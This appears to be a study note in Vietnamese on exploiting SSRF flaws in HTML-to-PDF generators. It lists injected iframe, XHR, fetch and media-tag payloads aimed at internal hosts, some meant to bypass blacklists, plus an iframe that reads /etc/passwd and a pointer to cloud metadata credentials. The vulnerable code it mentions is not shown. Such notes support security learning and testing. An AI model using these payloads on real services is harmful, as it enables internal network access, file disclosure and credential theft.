What Are PDF Generators

Các dạng PDF generator phổ biến:

  • HTML to PDF: sử dụng headless browser để render HTML document sử dụng dynamic data và dùng Browser API để render PDF.
  • Template-based generation: sử dụng template language riêng
  • Third-party service: dùng API của bên thứ 3. Ít dùng do không đảm bảo tính privacy.

Exploiting SSRF Vulnerabilities in PDF Generators

Đoạn code sau inject toàn bộ request body vào HTML document trước khi render ra PDF, làm nó bị lỗ hổng SSRF:

Request dùng để khai thác:

POST /api/invoice/export HTTP/2
Host: app.example.com
Content-Type: application/json
Content-Length: 106
 
{
    "invoiceData": "<iframe src=\"https://example.com/\"></iframe>"
}

Nếu iframe bị chặn thì có thể dùng các payload sau:

<!-- Using XHR -->
<script>
  var x = new XMLHttpRequest()
  x.onload = () => document.write(this.responseText)
  x.open("GET", "http://127.0.0.1")
  x.send()
</script>
 
<!-- Using Fetch -->
<script>
  fetch("http://127.0.0.1").then(async (r) => document.write(await r.text()))
</script>
 
<!-- Using embed -->
<embed src="http://127.0.0.1" />

Exploiting Blind SSRF Vulnerabilities

Một số payload trigger blind SSRF:

<!-- Using base HTML tag -->
<base href="http://127.0.0.1" />
 
<!-- Loading external stylesheet/script -->
<link rel="stylesheet" src="http://127.0.0.1" />
<script src="http://127.0.0.1"></script>
 
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://127.0.0.1/" />
 
<!-- Loading external image -->
<img src="http://127.0.0.1" />
 
<!-- Loading external SVG -->
<svg src="http://127.0.0.1" />
 
<!-- Useful to bypass blacklists -->
<input type="image" src="http://127.0.0.1" />
<video src="http://127.0.0.1" />
<audio src="http://127.0.0.1" />
<audio><source src="http://127.0.0.1" /></audio>

Escalating SSRF Vulnerabilities in PDF Generators

Reading Local Files (LFD)

<!-- Increase the height and width to include the full file contents -->
<iframe src="file:///etc/passwd" height="1000px" width="1000px"></iframe>

SSRFs in Cloud Environments

Nếu là AWS thì có thể request đến metadata endpoint để lấy credentials.

Ví dụ: MD2PDF.

Resources